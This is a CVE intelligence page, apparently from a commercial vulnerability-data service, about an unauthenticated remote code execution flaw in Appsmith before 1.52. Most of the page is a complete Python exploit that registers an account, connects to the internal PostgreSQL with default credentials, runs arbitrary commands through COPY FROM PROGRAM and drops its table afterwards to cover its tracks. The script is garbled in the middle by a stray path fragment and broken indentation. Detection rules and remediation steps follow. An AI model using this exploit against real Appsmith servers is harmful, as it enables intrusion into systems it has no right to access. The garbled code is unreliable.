☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-55963

CVE-2024-55963 is a critical vulnerability in Appsmith, an open-source low-code platform, affecting versions prior to 1.
📅 PUBLISHED: 2025-03-26 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 30.66%
👁️
30.66% probability
766.4× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-55963 is a critical vulnerability in Appsmith, an open-source low-code platform, affecting versions prior to 1.52. The vulnerability allows an unauthenticated attacker to achieve Remote Code Execution (RCE) on the host system by exploiting a misconfigured internal PostgreSQL database. The database is configured with default credentials and allows the COPY FROM PROGRAM command, which can be used to execute arbitrary operating system commands. Additionally, a secondary issue allows non-admin users to trigger a server restart, leading to a Denial of Service (DoS). The primary RCE vector is rated with a CVSS score of 9.8 (Critical). A public proof-of-concept exploit is available, demonstrating the full attack chain from initial access to command execution.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Appsmith is distributed as a Docker image and via direct installation on Linux. The vulnerability is not in a specific package dependency but in the application's internal configuration. However, the impact on the supply chain is significant: any organization using a vulnerable version of Appsmith is at risk of full compromise. Attackers can leverage this to pivot to internal networks, exfiltrate data, or deploy malware. The lack of authentication for the database connection is a fundamental security flaw that undermines the entire application's security posture.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None - The attacker does not need any authentication.
  • User Interaction (UI): None - No user action is required for exploitation.
  • Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High - Full read access to all data on the host system.
  • Integrity (I): High - Full write access to the host system.
  • Availability (A): High - Full control over the host system, including the ability to cause a denial of service.

Threat Level: Critical. The exploit is publicly available, requires no authentication, and provides complete control over the vulnerable system.

Deep Dive & Mechanics

The vulnerability is rooted in Appsmith's internal PostgreSQL database configuration. Appsmith uses a bundled PostgreSQL instance for its own data storage. In vulnerable versions, this database is configured with default credentials (postgres/postgres) and is accessible from within the application's network context. The critical flaw is that the database user has the SUPERUSER privilege, which allows the execution of the COPY ... FROM PROGRAM command. This PostgreSQL command can execute arbitrary shell commands on the host operating system.

The attack chain, as demonstrated in the public exploit, involves the following steps:

  1. User Registration: The attacker registers a new user account on the Appsmith instance. This is an unauthenticated action.
  2. Workspace and Application Creation: The attacker creates a new workspace and application. This is possible with the newly created user account.
  3. Datasource Enumeration: The attacker queries the Appsmith API to discover available datasource plugins. They specifically look for the PostgreSQL plugin.
  4. Datasource Creation: The attacker creates a new datasource, pointing it to the internal PostgreSQL database (localhost:5432) using the default credentials (postgres/postgres).
  5. Command Execution: The attacker uses the schema-preview API endpoint to execute arbitrary SQL queries. They first create a table (poc), then use the COPY poc FROM PROGRAM '<command>' command to execute a system command. The output of the command is stored in the table.
  6. Output Retrieval: The attacker queries the table to retrieve the command output.
  7. Cleanup: The attacker drops the temporary table to cover their tracks.

The secondary DoS issue (CVE-2024-55963's original description) is a separate access control flaw where a non-admin user can call the restart API, causing a server restart. This is less severe than the RCE but can be used to disrupt service.

Vulnerable vs. Patched Code

The vulnerability is not in a specific code snippet but in the configuration and deployment of the internal PostgreSQL database.

Vulnerable Configuration (Pre-1.52):

  • The internal PostgreSQL database is configured with default credentials.
  • The database user has SUPERUSER privileges.
  • The database is accessible from the application's network context without additional authentication.

Patched Configuration (1.52+):

  • The internal PostgreSQL database uses strong, randomly generated credentials.
  • The database user's privileges are restricted, removing SUPERUSER access.
  • Network access to the database is restricted, or additional authentication is required.
  • The restart API endpoint now properly checks for superuser permissions.

The fix involves changes to the application's deployment scripts and database initialization code. The exact code changes are not publicly detailed, but the outcome is a hardened database configuration that prevents the COPY FROM PROGRAM attack.

Exploitation & Lab Setup

Red Team

The following Python script is a public proof-of-concept exploit for CVE-2024-55963. It automates the entire attack chain.

Usage:

  1. Save the script as appsmith_rce.py.
  2. Install the required library: pip install requests pyfiglet.
  3. Run the exploit: python3 appsmith_rce.py -u http://target-appsmith.com "id"

The -u flag specifies the target URL, and the command to execute is provided as an argument (default is id).

# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.

import requests
import json
import pyfiglet
import argparse

# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
print(banner)

# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()

# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command

if not base_url.startswith("http://") and not base_url.startswith("https://"):
    base_url = "http://" + base_url

# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
    "email": "poc1@poc.com",
    "password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()

# Login request
login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
login_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/user/login",
    "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}

login_data = {
    "username": "poc1@poc.com",  # Adjusted to match the provided request
    "password": "Testing123!"
}

# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()

# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
    # Split the Set-Cookie header to get the cookie name and value
    cookie_name, cookie_value = set_cookie.split(';')[0].split('=')

# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
    fourth_request_url = f"{base_url}/api/v1/workspaces"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
        "Accept": "application/json, text/plain, */*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/json",
        "X-Requested-By": "Appsmith",
        "Connection": "keep-alive",
        "Referer": f"{base_url}/applications",
        "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
    }

    fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
    fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
    fourth_response.raise_for_status()

    # Extract the 'id' from the response if it exists
    try:
        response_json = fourth_response.json()
        workspace_id = response_json.get("data", {}).get("id")
    except ValueError:
        print("Response content is not valid JSON:", fourth_response.text)  # Print the raw response for debugging

    if workspace_id:
        fifth_request_url = f"{base_url}/api/v1/applications"
        fifth_request_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "X-Requested-By": "Appsmith",
            "Content-Length": "161",
            "Origin": base_url,
            "Connection": "keep-alive",
            "Referer": f"{base_url}/applications?workspaceId={workspace_id}",
            "Cookie": f"{cookie_name}={cookie_value}",
        }

        fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})

        print('Creating a new application...')
        fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
        fifth_response.raise_for_status()

        try:
            response_json = fifth_response.json()
            application_id = response_json.get("data", {}).get("id")
        except ValueError:
            print("Response content is not valid JSON:", fifth_response.text)

        # Sixth request to get workspace details
        if workspace_id:
            sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
            sixth_request_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                "Accept": "application/json, text/plain, */*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                "Connection": "keep-alive",
                "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                "Cookie": f"{cookie_name}={cookie_value}",
            }

            print('Getting workspace details...')
            sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
            sixth_response.raise_for_status()

            # Extract all plugin IDs from the response
            try:
                response_json = sixth_response.json()
                plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]

                # Loop through each plugin ID for the seventh request
                print(f'Searching for vulnerable postgres database...')
                for plugin_id in plugin_ids:
                    # Seventh request to get the form data for the plugin
                    seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
                    seventh_request_headers = {
                        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                        "Accept": "application/json, text/plain, */*",
                        "Accept-Language": "en-US,en;q=0.5",
                        "Accept-Encoding": "gzip, deflate",
                        "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                        "Connection": "keep-alive",
                        "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
                        "Cookie": f"{cookie_name}={cookie_value}",
                    }

                    try:
                        seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
                        seventh_response.raise_for_status()

                        # Extracting the port value from the seventh response
                        try:
                            seventh_response_json = seventh_response.json()
                            if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
                                form_data = seventh_response_json['data']['form']
                                if any("postgres" in str(item) for item in form_data):
                                    print(f"Vulnerable postgres database found.")
                                    break
                            else:
                                pass
                        except (ValueError, IndexError) as e:
                            pass
                    except requests.exceptions.HTTPError as e:
                        print(f"Error checking plugin {plugin_id}: {e}")
                        continue

                # Proceed to request 8 after finding "postgres"
                # Proceed to request 8 after finding "postgres"
                if "postgres" in str(seventh_response_json):
                    try:
                        # Try the environments API endpoint
                        eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
                        eighth_request_headers = {
                            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                            "Accept": "application/json, text/plain, */*",
                            "Accept-Language": "en-US,en;q=0.5",
                            "Accept-Encoding": "gzip, deflate",
                            "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                            "Connection": "keep-alive",
                            "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                            "Cookie": f"{cookie_name}={cookie_value}",
                        }

                        print('Getting the workspace details...')
                        eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
                        eighth_response.raise_for_status()

                        # Extracting the workspace ID from the eighth response
                        try:
                            eighth_response_json = eighth_response.json()
                            workspace_data = eighth_response_json.get("data", [{}])[0]
                            workspace_id_value = workspace_data.get("id")
                        except (ValueError, IndexError):
                            print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
                    except requests.exceptions.HTTPError as e:
                        # If the environments API fails, use the workspace ID we already have
                        print(f"Could not fetch environment details: {e}")
                        print("Using existing workspace ID for datasource creation...")
                        workspace_id_value = workspace_id
            except (ValueError, IndexError):
                print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)

            # After the eighth request to get workspace details
            if workspace_id_value:
                ninth_request_url = f"{base_url}/api/v1/datasources"
                ninth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }

                ninth_request_data = {
                    "pluginId": plugin_id,
                    "datasourceStorages": {
                        workspace_id_value: {
                            "datasourceConfiguration": {
                                "properties": [None, {"key": "Connection method", "value": "STANDARD"}],
                                "connection": {
                                    "mode": "READ_WRITE",
                                    "ssl": {"authType": "DEFAULT"}
                                },
                                "endpoints": [{"port": "5432", "host": "localhost"}],
                                "sshProxy": {"endpoints": [{"port": "22"}]},
                                "authentication": {
                                    "databaseName": "postgres",
                                    "username": "postgres",
                                    "password": "postgres"
                                }
                            },
                            "datasourceId": "",
                            "environmentId": workspace_id_value,
                            "isConfigured": True
                        }
                    },
                    "name": "Untitled datasource 1",
                    "workspaceId": workspace_id
                }

                print('Connecting to vulnerable postgres database...')
                ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
                ninth_response.raise_for_status()

                # Extracting the ID from the response
                try:
                    ninth_response_json = ninth_response.json()
                    datasource_id = ninth_response_json.get("data", {}).get("id")
                except (ValueError, KeyError):
                    print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)

            # After the ninth request to create the datasource
            if datasource_id:
                # 10th Request
                tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                tenth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }

                tenth_request_data = {
                    "title": "SELECT",
                    "body": "create table poc (column1 TEXT);",
                    "suggested": True
                }

                print("Creating the table 'poc'...")
                tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
                tenth_response.raise_for_status()

                # 11th Request
                eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                eleventh_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }

                eleventh_request_data = {
                    "title": "SELECT",
                    "body": f"copy poc from program '{command_arg}';",
                    "suggested": True
                }/CVE-2024-55963-Appsmith-RCE

                print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()

# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
twelfth_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for the 12th schema preview
twelfth_request_data = {
    "title": "SELECT",
    "body": "select * from poc;",
    "suggested": True
}

# Print statement before the 12th request
print("Reading command output from poc table...\n")

# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)

# Extracting and printing the response from the 12th schema preview
try:
    twelfth_response_json = twelfth_response.json()

    # Extracting the specific data
    body_data = twelfth_response_json.get("data", {}).get("body", [])
    column1_values = [item.get("column1") for item in body_data]  # Extract only the column1 values
    print("Command output:")
    print("----------------------------------------")
    for value in column1_values:
        print(value)  # Print each column1 value
    print("----------------------------------------\n")

except (ValueError, KeyError):
    print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text)  # Print the raw response for debugging

# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
cleanup_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for cleanup
cleanup_request_data = {
    "title": "SELECT",
    "body": "DROP TABLE poc;",  # Command to drop the table
    "suggested": True
}

# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)

Blue Team

To detect exploitation attempts, monitor for the following patterns:

  1. Multiple API calls to /api/v1/users and /api/v1/login from the same IP in a short period. This indicates automated account creation.
  2. Rapid creation of workspaces and applications by a new user.
  3. Requests to /api/v1/plugins/*/form followed by creation of a datasource pointing to localhost:5432.
  4. Requests to /api/v1/datasources/*/schema-preview with SQL bodies containing COPY ... FROM PROGRAM or CREATE TABLE statements.
  5. Unusual database queries in the internal PostgreSQL logs, especially COPY FROM PROGRAM commands.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /api/v1/users with JSON body containing "email": "poc1@poc.com" (or similar test emails).
    • POST requests to /api/v1/datasources with JSON body containing "host": "localhost" and "port": "5432".
    • POST requests to /api/v1/datasources/*/schema-preview with JSON body containing "body": "copy poc from program".
  • Host IOCs:
    • Presence of a table named poc in the internal PostgreSQL database (if not cleaned up).
    • Execution of unexpected system commands via PostgreSQL.
    • New user accounts in Appsmith with suspicious email addresses.
  • Log IOCs:
    • Appsmith application logs showing rapid API calls for user registration, workspace creation, and datasource creation.
    • PostgreSQL logs showing COPY FROM PROGRAM commands.

Detection Engineering

YARA Rule

rule CVE_2024_55963_Appsmith_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2024-55963 in Appsmith logs"
        author = "Valters IT"
        date = "2025-04-02"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-55963"
    strings:
        $s1 = "copy poc from program" ascii wide nocase
        $s2 = "create table poc" ascii wide nocase
        $s3 = "localhost:5432" ascii wide nocase
        $s4 = "postgres" ascii wide nocase
        $s5 = "/api/v1/datasources" ascii wide nocase
        $s6 = "/schema-preview" ascii wide nocase
    condition:
        (any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6))
}

Sigma Rule

title: Appsmith CVE-2024-55963 RCE Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network requests indicative of CVE-2024-55963 exploitation.
author: Valters IT
date: 2025-04-02
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55963
logsource:
    category: webserver
    product: appsmith
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/v1/users'
            - '/api/v1/login'
            - '/api/v1/workspaces'
            - '/api/v1/applications'
            - '/api/v1/plugins/*/form'
            - '/api/v1/datasources'
            - '/api/v1/datasources/*/schema-preview'
    condition: selection
falsepositives:
    - Legitimate user activity
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55963 Appsmith RCE Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/v1/datasources"; http_uri; content:"localhost"; http_client_body; content:"5432"; http_client_body; content:"postgres"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Appsmith: The primary remediation is to upgrade to Appsmith version 1.52 or later. This version fixes the database configuration and access control issues.
  2. Restrict Network Access: If an immediate upgrade is not possible, restrict network access to the Appsmith instance. Use a firewall to limit access to trusted IP addresses only.
  3. Change Database Credentials: Manually change the default credentials for the internal PostgreSQL database. This is a temporary workaround.
  4. Revoke SUPERUSER Privileges: Connect to the internal PostgreSQL database and revoke SUPERUSER privileges from the application user. This will prevent the COPY FROM PROGRAM attack.

Long-Term Mitigations:

  1. Implement Network Segmentation: Place the Appsmith instance in a segmented network with strict egress controls.
  2. Enable Auditing: Enable detailed logging for both the Appsmith application and the internal PostgreSQL database.
  3. Regular Security Audits: Conduct regular security audits and penetration testing on all deployed applications.
  4. Monitor for IOCs: Implement the detection rules provided in this report to monitor for exploitation attempts.

Valters IT

This report was generated by an AI DevSecOps assistant for educational and defensive purposes only.

{/* [Security Hash: 96DF3C07F6E9FE8474DA90ED] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-55963/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.